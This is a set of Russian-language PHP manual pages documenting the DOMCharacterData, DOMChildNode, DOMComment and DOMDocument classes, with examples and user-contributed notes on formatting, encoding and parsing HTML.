Ошибки

DOM_INDEX_SIZE_ERR

Возникает, если offset меньше нуля или больше количества 16-битных блоков в данных.

Смотрите также

  • DOMCharacterData::appendData() - Добавить строку в конец символьных данных узла
  • DOMCharacterData::deleteData() - Удалить диапазон символов из узла
  • DOMCharacterData::replaceData() - Заменить подстроку в узле типа DOMCharacterData
  • DOMCharacterData::substringData() - Извлекает определённый диапазон данных из узла

User Contributed Notes

There are no user contributed notes for this page.


Удаляет символьные данные

  • « DOMCharacterData::insertData
  • DOMCharacterData::replaceData »
  • PHP Manual
  • DOMCharacterData
  • Удаляет символьные данные

DOMCharacterData::remove

(PHP 8)

DOMCharacterData::remove — Удаляет символьные данные

Описание

public DOMCharacterData::remove(): void

Удаляет символьные данные.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования метода DOMCharacterData::remove()

Удаление символьных данных.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><![CDATA[hello]]><world/></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->remove();

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container><world/></container>

Смотрите также

  • DOMChildNode::remove() - Удаляет узел
  • DOMCharacterData::after() - Добавляет узлы после символьных данных
  • DOMCharacterData::before() - Добавляет узлы перед узлом
  • DOMCharacterData::replaceWith() - Заменяет символьные данные новыми узлами
  • DOMNode::removeChild() - Удаляет дочерний узел из списка потомков

User Contributed Notes

There are no user contributed notes for this page.


Заменить подстроку в узле типа DOMCharacterData

  • « DOMCharacterData::remove
  • DOMCharacterData::replaceWith »
  • PHP Manual
  • DOMCharacterData
  • Заменить подстроку в узле типа DOMCharacterData

DOMCharacterData::replaceData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::replaceData — Заменить подстроку в узле типа DOMCharacterData

Описание

public DOMCharacterData::replaceData(int $offset, int $count, string $data): bool

Заменяет count символов, начиная с позиции offset, на строку data.

Список параметров

offset

Позиция, с которой начинается замена.

count

Количество символов для замены. Если offset и count в сумме превышают длину строки данных, будут заменены все символы до конца данных.

data

Строка, на которую будет производиться замена.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

DOM_INDEX_SIZE_ERR

Возникает, если offset меньше нуля или больше количества 16-битных блоков в области данных, либо если count имеет отрицательное значение.

Смотрите также

  • DOMCharacterData::appendData() - Добавить строку в конец символьных данных узла
  • DOMCharacterData::deleteData() - Удалить диапазон символов из узла
  • DOMCharacterData::insertData() - Вставить строку в указанную 16-битную позицию
  • DOMCharacterData::substringData() - Извлекает определённый диапазон данных из узла

User Contributed Notes

There are no user contributed notes for this page.


Заменяет символьные данные новыми узлами

  • « DOMCharacterData::replaceData
  • DOMCharacterData::substringData »
  • PHP Manual
  • DOMCharacterData
  • Заменяет символьные данные новыми узлами

DOMCharacterData::replaceWith

(PHP 8)

DOMCharacterData::replaceWith — Заменяет символьные данные новыми узлами

Описание

public DOMCharacterData::replaceWith(DOMNode|string ...$nodes): void

Заменяет символьные данные новыми узлами nodes.

Список параметров

nodes

Узлы для замены. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе родительского узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов метода на узле без родителя теперь запрещён, чтобы привести поведение в соответствие со спецификацией DOM. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Примеры

Пример #1 Пример использования метода DOMCharacterData::replaceWith()

Замена символьных данных новыми узлами.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><![CDATA[hello]]></container>");
$cdata = $doc->documentElement->firstChild;

$cdata->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<container>beautiful<world/></container>

Смотрите также

  • DOMChildNode::replaceWith() - Заменяет узел на новые узлы
  • DOMCharacterData::after() - Добавляет узлы после символьных данных
  • DOMCharacterData::before() - Добавляет узлы перед узлом
  • DOMCharacterData::remove() - Удаляет символьные данные

User Contributed Notes

There are no user contributed notes for this page.


Извлекает определённый диапазон данных из узла

  • « DOMCharacterData::replaceWith
  • DOMChildNode »
  • PHP Manual
  • DOMCharacterData
  • Извлекает определённый диапазон данных из узла

DOMCharacterData::substringData

(PHP 5, PHP 7, PHP 8)

DOMCharacterData::substringData — Извлекает определённый диапазон данных из узла

Описание

public DOMCharacterData::substringData(int $offset, int $count): string|false

Возвращает указанную подстроку.

Список параметров

offset

Начало позиции извлекаемой подстроки.

count

Количество извлекаемых символов.

Возвращаемые значения

Указанная подстрока. Если offset и count в сумме превышают длину строки данных узла, будут извлечены все символы до конца строки.

Ошибки

DOM_INDEX_SIZE_ERR

Возникает, если offset меньше нуля или больше количества 16-битных блоков в области данных, либо если count имеет отрицательное значение.

Смотрите также

  • DOMCharacterData::appendData() - Добавить строку в конец символьных данных узла
  • DOMCharacterData::deleteData() - Удалить диапазон символов из узла
  • DOMCharacterData::insertData() - Вставить строку в указанную 16-битную позицию
  • DOMCharacterData::replaceData() - Заменить подстроку в узле типа DOMCharacterData

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс DOMChildNode

(PHP 8)

Обзор интерфейсов

interface DOMChildNode {
/* Методы */
public after(DOMNode|string ...$nodes): void
public before(DOMNode|string ...$nodes): void
public remove(): void
public replaceWith(DOMNode|string ...$nodes): void
}

Содержание

  • DOMChildNode::after — Добавляет узлы после узла
  • DOMChildNode::before — Добавляет узлы перед узлом
  • DOMChildNode::remove — Удаляет узел
  • DOMChildNode::replaceWith — Заменяет узел на новые узлы

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы после узла

  • « DOMChildNode
  • DOMChildNode::before »
  • PHP Manual
  • DOMChildNode
  • Добавляет узлы после узла

DOMChildNode::after

(PHP 8)

DOMChildNode::after — Добавляет узлы после узла

Описание

public DOMChildNode::after(DOMNode|string ...$nodes): void

Добавляет переданные nodes после узла.

Список параметров

nodes

Узлы, которые необходимо добавить после узла. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе родительского узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле, у которого нет родительского узла, теперь ничего не делает, чтобы привести поведение в соответствие со спецификацией DOM. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.
8.3.0 | Вызов этого метода на узле без документа владельца теперь работает. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Смотрите также

  • DOMChildNode::before() - Добавляет узлы перед узлом
  • DOMChildNode::remove() - Удаляет узел
  • DOMChildNode::replaceWith() - Заменяет узел на новые узлы
  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков

User Contributed Notes

There are no user contributed notes for this page.


Добавляет узлы перед узлом

  • « DOMChildNode::after
  • DOMChildNode::remove »
  • PHP Manual
  • DOMChildNode
  • Добавляет узлы перед узлом

DOMChildNode::before

(PHP 8)

DOMChildNode::before — Добавляет узлы перед узлом

Описание

public DOMChildNode::before(DOMNode|string ...$nodes): void

Добавляет переданные nodes перед узлом.

Список параметров

nodes

Узлы, которые необходимо добавить перед узлом. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе родительского узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов этого метода на узле, у которого нет родительского узла, теперь ничего не делает, чтобы привести поведение в соответствие со спецификацией DOM. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Смотрите также

  • DOMChildNode::after() - Добавляет узлы после узла
  • DOMChildNode::remove() - Удаляет узел
  • DOMChildNode::replaceWith() - Заменяет узел на новые узлы

User Contributed Notes

There are no user contributed notes for this page.


Удаляет узел

  • « DOMChildNode::before
  • DOMChildNode::replaceWith »
  • PHP Manual
  • DOMChildNode
  • Удаляет узел

DOMChildNode::remove

(PHP 8)

DOMChildNode::remove — Удаляет узел

Описание

public DOMChildNode::remove(): void

Удаляет узел.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • DOMChildNode::after() - Добавляет узлы после узла
  • DOMChildNode::before() - Добавляет узлы перед узлом
  • DOMChildNode::replaceWith() - Заменяет узел на новые узлы
  • DOMNode::removeChild() - Удаляет дочерний узел из списка потомков

User Contributed Notes

There are no user contributed notes for this page.


Заменяет узел на новые узлы

  • « DOMChildNode::remove
  • DOMComment »
  • PHP Manual
  • DOMChildNode
  • Заменяет узел на новые узлы

DOMChildNode::replaceWith

(PHP 8)

DOMChildNode::replaceWith — Заменяет узел на новые узлы

Описание

public DOMChildNode::replaceWith(DOMNode|string ...$nodes): void

Заменяет узел на новые узлы nodes.

Список параметров

nodes

Узлы для замены. Строки автоматически преобразуются в текстовые узлы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

DOM_HIERARCHY_REQUEST_ERR

Возникает, если тип одного из переданных в параметре nodes элементов не допускается в типе родительского узла, или если добавляемый узел является одним из предков этого узла или самим этим узлом.

DOM_WRONG_DOCUMENT_ERR

Возникает, если один из переданных в параметре nodes элементов был создан из документа, отличного от того, в котором был создан этот узел.

Список изменений

Версия | Описание
8.3.0 | Вызов метода на узле без родителя теперь запрещён, чтобы привести поведение в соответствие со спецификацией DOM. Ранее это выбрасывало исключение DOMException с кодом DOM_HIERARCHY_REQUEST_ERR.

Смотрите также

  • DOMChildNode::after() - Добавляет узлы после узла
  • DOMChildNode::before() - Добавляет узлы перед узлом
  • DOMChildNode::remove() - Удаляет узел
  • DOMNode::replaceChild() - Заменяет дочерний узел

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMComment

(PHP 5, PHP 7, PHP 8)

Введение

Представляет узлы комментариев, символы, помеченные <!-- и -->.

Обзор классов

class DOMComment extends DOMCharacterData {
/* Наследуемые свойства */
public string $data;
public readonly int $length;
public readonly ?DOMElement $previousElementSibling;
public readonly ?DOMElement $nextElementSibling;
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public __construct(string $data = "")
/* Наследуемые методы */
public DOMCharacterData::after(DOMNode|string ...$nodes): void
public DOMCharacterData::appendData(string $data): true
public DOMCharacterData::before(DOMNode|string ...$nodes): void
public DOMCharacterData::deleteData(int $offset, int $count): bool
public DOMCharacterData::insertData(int $offset, string $data): bool
public DOMCharacterData::remove(): void
public DOMCharacterData::replaceData(int $offset, int $count, string $data): bool
public DOMCharacterData::replaceWith(DOMNode|string ...$nodes): void
public DOMCharacterData::substringData(int $offset, int $count): string|false
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Смотрите также

  • » Спецификация W3C комментариев

Содержание

  • DOMComment::__construct — Создаёт новый экземпляр класса DOMComment

User Contributed Notes

npelov at croler dot net 09-Sep-2021 04:41
Note that textContent property of a comment is not entity decoded, it is decoded in DOMElement::textContent :

<?php

   $xml = new DOMDocument();
    $xml->loadXML('<?xml version="1.0" encoding="utf-8"?>
      <configuration version="2">
      <!-- test &#45;&#45;&gt; -->
      test &#45;&#45;&gt;
      </configuration>'
    );
$xpath = new DOMXPath($xml);
$comments = $xpath->query('//comment()');
$elements = $xpath->query('//configuration');

echo $comments[0]->textContent;
// result: test &#45;&#45;&gt;

echo $elements[0]->textContent;
// result: test -->

?>


Создаёт новый экземпляр класса DOMComment

  • « DOMComment
  • DOMDocument »
  • PHP Manual
  • DOMComment
  • Создаёт новый экземпляр класса DOMComment

DOMComment::__construct

(PHP 5, PHP 7, PHP 8)

DOMComment::__construct — Создаёт новый экземпляр класса DOMComment

Описание

public DOMComment::__construct(string $data = "")

Создаёт новый объект класса DOMComment. Объект будет доступен только для чтения. Его можно добавить к документу, но дополнительные узлы нельзя добавлять к объекту, пока он не будет присоединён к документу. Чтобы создать записываемый узел, используйте DOMDocument::createComment.

Список параметров

data

Значение комментария.

Примеры

Пример #1 Создание объекта DOMComment

<?php

$dom = new DOMDocument('1.0', 'iso-8859-1');
$element = $dom->appendChild(new DOMElement('root'));
$comment = $element->appendChild(new DOMComment('root comment'));
echo $dom->saveXML(); /* <?xml version="1.0" encoding="iso-8859-1"?><root><!--root comment--></root> */

?>

Смотрите также

  • DOMDocument::createComment() - Создать новый узел комментария

User Contributed Notes

There are no user contributed notes for this page.


Класс DOMDocument

(PHP 5, PHP 7, PHP 8)

Введение

Представляет весь HTML- или XML-документ; корень дерева документа.

Обзор классов

class DOMDocument extends DOMNode implements DOMParentNode {
/* Свойства */
public readonly ?DOMDocumentType $doctype;
public readonly DOMImplementation $implementation;
public readonly ?DOMElement $documentElement;
public readonly ?string $actualEncoding;
public ?string $encoding;
public readonly ?string $xmlEncoding;
public bool $standalone;
public bool $xmlStandalone;
public ?string $version;
public ?string $xmlVersion;
public bool $strictErrorChecking;
public ?string $documentURI;
public readonly mixed $config;
public bool $formatOutput;
public bool $validateOnParse;
public bool $resolveExternals;
public bool $preserveWhiteSpace;
public bool $recover;
public bool $substituteEntities;
public readonly ?DOMElement $firstElementChild;
public readonly ?DOMElement $lastElementChild;
public readonly int $childElementCount;
/* Наследуемые свойства */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* Методы */
public __construct(string $version = "1.0", string $encoding = "")
public adoptNode(DOMNode $node): DOMNode|false
public append(DOMNode|string ...$nodes): void
public createAttribute(string $localName): DOMAttr|false
public createAttributeNS(?string $namespace, string $qualifiedName): DOMAttr|false
public createCDATASection(string $data): DOMCdataSection|false
public createComment(string $data): DOMComment
public createDocumentFragment(): DOMDocumentFragment
public createElement(string $localName, string $value = ""): DOMElement|false
public createElementNS(?string $namespace, string $qualifiedName, string $value = ""): DOMElement|false
public createEntityReference(string $name): DOMEntityReference|false
public createProcessingInstruction(string $target, string $data = ""): DOMProcessingInstruction|false
public createTextNode(string $data): DOMText
public getElementById(string $elementId): ?DOMElement
public getElementsByTagName(string $qualifiedName): DOMNodeList
public getElementsByTagNameNS(?string $namespace, string $localName): DOMNodeList
public importNode(DOMNode $node, bool $deep = false): DOMNode|false
public load(string $filename, int $options = 0): bool
public loadHTML(string $source, int $options = 0): bool
public loadHTMLFile(string $filename, int $options = 0): bool
public loadXML(string $source, int $options = 0): bool
public normalizeDocument(): void
public prepend(DOMNode|string ...$nodes): void
public registerNodeClass(string $baseClass, ?string $extendedClass): bool
public relaxNGValidate(string $filename): bool
public relaxNGValidateSource(string $source): bool
public replaceChildren(DOMNode|string ...$nodes): void
public save(string $filename, int $options = 0): int|false
public saveHTML(?DOMNode $node = null): string|false
public saveHTMLFile(string $filename): int|false
public saveXML(?DOMNode $node = null, int $options = 0): string|false
public schemaValidate(string $filename, int $flags = 0): bool
public schemaValidateSource(string $source, int $flags = 0): bool
public validate(): bool
public xinclude(int $options = 0): int|false
/* Наследуемые методы */
public DOMNode::appendChild(DOMNode $node): DOMNode|false
public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public DOMNode::C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public DOMNode::cloneNode(bool $deep = false): DOMNode|false
public DOMNode::contains(DOMNode|DOMNameSpaceNode|null $other): bool
public DOMNode::getLineNo(): int
public DOMNode::getNodePath(): ?string
public DOMNode::getRootNode(?array $options = null): DOMNode
public DOMNode::hasAttributes(): bool
public DOMNode::hasChildNodes(): bool
public DOMNode::insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public DOMNode::isDefaultNamespace(string $namespace): bool
public DOMNode::isEqualNode(?DOMNode $otherNode): bool
public DOMNode::isSameNode(DOMNode $otherNode): bool
public DOMNode::isSupported(string $feature, string $version): bool
public DOMNode::lookupNamespaceURI(?string $prefix): ?string
public DOMNode::lookupPrefix(string $namespace): ?string
public DOMNode::normalize(): void
public DOMNode::removeChild(DOMNode $child): DOMNode|false
public DOMNode::replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

Свойства

actualEncoding

Устарело. Кодировка документа — доступный только для чтения эквивалент свойства encoding.

childElementCount

Количество дочерних элементов.

config

Устарело. Конфигурация, которая будет использована при вызове метода DOMDocument::normalizeDocument().

doctype

Объявление типа документа, которое соответствует этому документу.

documentElement

Объект DOMElement — первый элемент документа. Если не найден, оценивается как null. Удобный атрибут, который даёт прямой доступ к дочернему узлу как к элементу документа. Значение null, если не существует.

documentURI

Расположение документа или null, если оно не определено.

encoding

Кодировка документа, как указано в объявлении XML. Этого атрибута нет в последней спецификации DOM Level 3, но он — единственный способ манипулирования кодировкой XML-документа в этой реализации.

firstElementChild

Первый дочерний элемент или null.

formatOutput

Форматирует вывод, добавляя отступы и дополнительные пробелы. Не работает, если документ был загружен с включённым свойством preserveWhitespace.

implementation

Объект класса DOMImplementation, обрабатывающий этот документ.

lastElementChild

Последний дочерний элемент или null.

preserveWhiteSpace

Указание не убирать лишние пробелы и отступы. По умолчанию true. Установка этого значения в false даёт тот же эффект, что и передача константы LIBXML_NOBLANKS в качестве параметра option в метод DOMDocument::load() и т. д.

recover

Проприетарное свойство. Включает режим восстановления, то есть пытается разобрать некорректно составленные (non-well formed) документы. Этот атрибут не входит в спецификацию DOM и специфичен для модуля libxml.

resolveExternals

Устанавливают в true для загрузки внешних элементов из объявления типа документа. Полезен при включении элементов с символьными данными в XML-документ.

standalone

Устарело. Указание, что документ не зависит от других XML-документов, как указано в декларации XML, соответствует свойству xmlStandalone.

strictErrorChecking

Выбрасывает исключение DOMException в случае ошибок. По умолчанию true.

substituteEntities

Патентованное свойство. Указывает, заменять ли элементы документа. Этот атрибут не входит в спецификацию DOM и специфичен для модуля libxml. По умолчанию false.

Предостережение

Включение подмены сущностей способствует атакам XML External Entity (XXE).

validateOnParse

Загружает DTD и проверяет документ на соответствие. По умолчанию false.

Предостережение

Включение проверки DTD способствует атакам XML External Entity (XXE).

version

Устарело. Версия XML, соответствует xmlVersion.

xmlEncoding

Атрибут, который определяет, как часть XML-объявления, кодировку документа. Значение равно null, если его не указали, или когда значение неизвестно, например, когда документ создали в памяти.

xmlStandalone

Атрибут, который определяет, как часть XML-объявления, что документ автономный. Принимает значение false, если не указан. Автономный документ — документ, в котором отсутствуют объявления внешней разметки. Пример такого объявления разметки — объявление в типе документа DTD атрибута со значением по умолчанию.

xmlVersion

Атрибут, который определяет, как часть XML-объявления, номер версии этого документа. Если объявления в документе нет, но есть поддержка всех особенностей «XML», значение равно «1.0».

Список изменений

Версия | Описание
8.0.0 | Класс DOMDocument теперь реализует интерфейс DOMParentNode.
8.0.0 | Нереализованный метод DOMDocument::renameNode() был удалён.

Примечания

Замечание:

Модуль DOM работает с кодировкой UTF-8. Для работы с другими кодировками пользуются функциями mb_convert_encoding(), UConverter::transcode() или iconv().

Замечание:

При использовании json_encode() для объекта DOMDocument будет получен результат кодирования пустого объекта.

Смотрите также

  • » Спецификация W3C для интерфейса Document

Содержание

  • DOMDocument::adoptNode — Переносит узел из другого документа
  • DOMDocument::append — Добавляет узлы после последнего дочернего узла
  • DOMDocument::__construct — Создаёт новый объект DOMDocument
  • DOMDocument::createAttribute — Создаёт новый атрибут
  • DOMDocument::createAttributeNS — Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createCDATASection — Создаёт новый узел cdata
  • DOMDocument::createComment — Создать новый узел комментария
  • DOMDocument::createDocumentFragment — Создаёт новый фрагмент документа
  • DOMDocument::createElement — Создаёт новый узел элемента
  • DOMDocument::createElementNS — Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createEntityReference — Создать новый узел ссылки на сущность
  • DOMDocument::createProcessingInstruction — Создать новый PI-узел
  • DOMDocument::createTextNode — Создать новый текстовый узел
  • DOMDocument::getElementById — Ищет элемент с определённым идентификатором
  • DOMDocument::getElementsByTagName — Ищет все элементы с заданным локальным именем
  • DOMDocument::getElementsByTagNameNS — Ищет все элементы с заданным именем в указанном пространстве имён
  • DOMDocument::importNode — Импортировать узел в текущий документ
  • DOMDocument::load — Загрузка XML из файла
  • DOMDocument::loadHTML — Загрузка HTML из строки
  • DOMDocument::loadHTMLFile — Загрузка HTML из файла
  • DOMDocument::loadXML — Загрузка XML из строки
  • DOMDocument::normalizeDocument — Нормализует документ
  • DOMDocument::prepend — Добавляет узлы перед первым дочерним узлом
  • DOMDocument::registerNodeClass — Регистрация расширенного класса, используемого для создания типа базового узла
  • DOMDocument::relaxNGValidate — Производит проверку документа на правильность построения посредством relaxNG
  • DOMDocument::relaxNGValidateSource — Проверяет документ посредством relaxNG
  • DOMDocument::replaceChildren — Заменяет дочерние узлы в документе
  • DOMDocument::save — Сохраняет XML-дерево из внутреннего представления в файл
  • DOMDocument::saveHTML — Сохраняет документ из внутреннего представления в строку, используя форматирование HTML
  • DOMDocument::saveHTMLFile — Сохраняет документ из внутреннего представления в файл, используя форматирование HTML
  • DOMDocument::saveXML — Сохраняет XML-дерево из внутреннего представления в виде строки
  • DOMDocument::schemaValidate — Проверяет действительность документа, основываясь на заданной схеме. Поддерживается только XML-схема 1.0.
  • DOMDocument::schemaValidateSource — Проверяет действительность документа, основываясь на схеме
  • DOMDocument::validate — Проверяет документ на соответствие его DTD
  • DOMDocument::xinclude — Проводит вставку XInclude в объекте DOMDocument

User Contributed Notes

610010559 at qq dot com 17-Mar-2022 02:39
when you add the new element to formatted XML data through appendChild() method, you would the new element you add is not be formatted(that is not indexed, not line break).  here is my solution (in short load the xml without preserve white space, ), example show as below:
<?php
$doc = new \DOMDocument();
$doc->formatOutput = true;
$doc->preserveWhiteSpace = false;//that is key, default value is true.
$doc->loadXML($xmlStr);
$doc->appendChild($doc->createElement('php', '666'))
$formattedXMLStr = $doc->saveXML();//DOMDocument wold format the xml str for you
echo $formattedXMlStr;
?>
it take me some time to try it out. hope it save your time.
andreas at userbrain dot com 17-Nov-2021 01:16
After struggling with parsing and modifying partial HTML content for several hours, I came to this solution which does work for me and is relatively simple compared to what else I found online.

This solution fixes unwanted DOCTYPE and html, body tags as well as encoding issues.

<?php

// Assumption: content is utf-8 encoded
$content = "<h1>This is a heading</h1><p>This is a paragraph</p>";

// Load content to a div and specify encoding with a meta tag
$temp_dom = new DOMDocument();
$temp_dom->loadHTML("<meta http-equiv='Content-Type' content='CHARSET=Windows-1251' /><div>$content</div>");

// As loadHTML() adds a DOCTYPE as well as <html> and <body> tag, let's create another DOMDocument and import just the nodes we want
$dom = new DOMDocument();
$first_div = $temp_dom->getElementsByTagName('div')[0];
$first_div_node = $dom->importNode($first_div, true);
$dom->appendChild($first_div_node);

// Do whatever you want to do
$dom->getElementsByTagName('h1')[0]->setAttribute('class', 'happy');

// You could also just echo $dom->saveHtml() if you don't mind the div and whitespace
echo substr(trim($dom->saveHtml()), 5, -6);

// Outputs: <h1 class="happy">This is a heading</h1><p>This is a paragraph</p>
?>
pastormontesinos at gmail dot com 04-Mar-2021 10:34
For using safely with script nodes when parsing, best option is extending DOMDocument, keeping script tags while DOMDocument process and rearrange them just after saveHTML function is called. Here is my custom class.

<?php

class SafeDOMDocument extends \DOMDocument
{
    const REGEX_JS            = '#(\s*<!--(\[if[^\n]*>)?\s*(<script.*</script>)+\s*(<!\[endif\])?-->)|(\s*<script.*</script>)#isU';
    const SUBSTITUTION_FORMAT = '<!--<script class="script_%s"></script>-->';
    private $matchedScripts = [];

    public function loadHTML($source, $options = 0)
    {
        $this->formatOutput        = false;
        $this->preserveWhiteSpace  = true;
        $this->validateOnParse     = false;
        $this->strictErrorChecking = false;
        $this->recover             = false;
        $this->resolveExternals    = false;
        $this->substituteEntities  = false;
        $matches = [];
        $success = preg_match_all(self::REGEX_JS, $source, $matches);

        if ($success && !empty($matches)) {
            foreach ($matches[0] as $match) {
                $storedScript = rtrim(ltrim($match, "\n\r\t "), "\n\r\t ");
                $scriptId = md5($storedScript);
                $key = sprintf(self::SUBSTITUTION_FORMAT, $scriptId);
                $source = str_replace($match, $key, $source);
                $this->matchedScripts[$key] = $storedScript;
            }
        }

        return parent::loadHTML($source, $options);
    }

    public function saveHTML(DOMNode $node = null)
    {
        $output = parent::saveHTML($node);

        if (count($this->matchedScripts)) {
            foreach ($this->matchedScripts as $substitution => $originalSnippet) {
                $output = str_replace($substitution, $originalSnippet, $output);
            }
        }

        return $output;
    }
}
?>
ashjkshdu283 at gmail dot com 07-Jul-2018 11:39
/* Function evolved from jay at jaygilford dot com post
  * This function will return an array of the values of the specified
  * attribute ($attr) for all the Dom Document object's elements
  */

<?php

function getAttrData(string $attr, DomDocument $dom) {
    // Empty array to hold all classes to return
    $attrData = array();

    //Loop through each tag in the dom and add it's attribute data to the array
    foreach($dom->getElementsByTagName('*') as $tag) {
        if(empty($tag->getAttribute($attr)) === false) {
            array_push($attrData, $tag->getAttribute($attr));
        }
    }

    //Return the array of attribute data
    return array_unique($attrData);
}

$html = '
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
<a href="#someLink" id="someLink" class="link-class">Some Link</a>
<a href="#someOtherLink" id="someOtherLink" class="link-class">Some Other Link</a>
<h1 id="header1" class="header-class">My First Heading</h1>
<p id="para1" class="para-class">My first paragraph.</p>
</body>
</html>';
$dom = new DOMDocument();
$dom->loadHtml($html);
$dom->saveHTML();
var_dump(getAttrData('class', $dom));
biker dot mike at gmx dot com 22-Aug-2016 01:36
Look out for the following gotcha when loading XML from a string:

<?php
$doc = new \DOMDocument;
$doc->documentURI = $myXmlFilename;
$doc->loadXML($myXmlString);
?>

documentURI is now set to the value of $myXmlFilename, right?

Wrong!

It's set to the current working directory.  If you want to manually set documentURI to something other than the CWD, do so AFTER the call to loadXML().

E.g.:
<?php
$doc = new \DOMDocument;
$doc->loadXML($myXmlString);
$doc->documentURI = $myXmlFilename;
?>

documentURI really is now set to the value of $myXmlFilename.
developer at nabtron dot com 17-Dec-2015 07:34
For those landing here and checking for encoding issue with utf-8 characteres, it's pretty easy to correct it, without adding any additional output tag to your html.

We'll be utilizing: mb_convert_encoding

Thanks to the user who shared: SmartDOMDocument in previous comments, I got the idea of solving it. However I truly wish that he shared the method instead of giving a link.

Anyway coming back to the solution, you can simply use:

<?php

            // checks if the content we're receiving isn't empty, to avoid the warning
            if ( empty( $content ) ) {
                return false;
            }

            // converts all special characters to utf-8
            $content = mb_convert_encoding($content, 'HTML-ENTITIES', 'UTF-8');

            // creating new document
            $doc = new DOMDocument('1.0', 'utf-8');

            //turning off some errors
            libxml_use_internal_errors(true);

            // it loads the content without adding enclosing html/body tags and also the doctype declaration
            $doc->LoadHTML($content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);

            // do whatever you want to do with this code now

?>

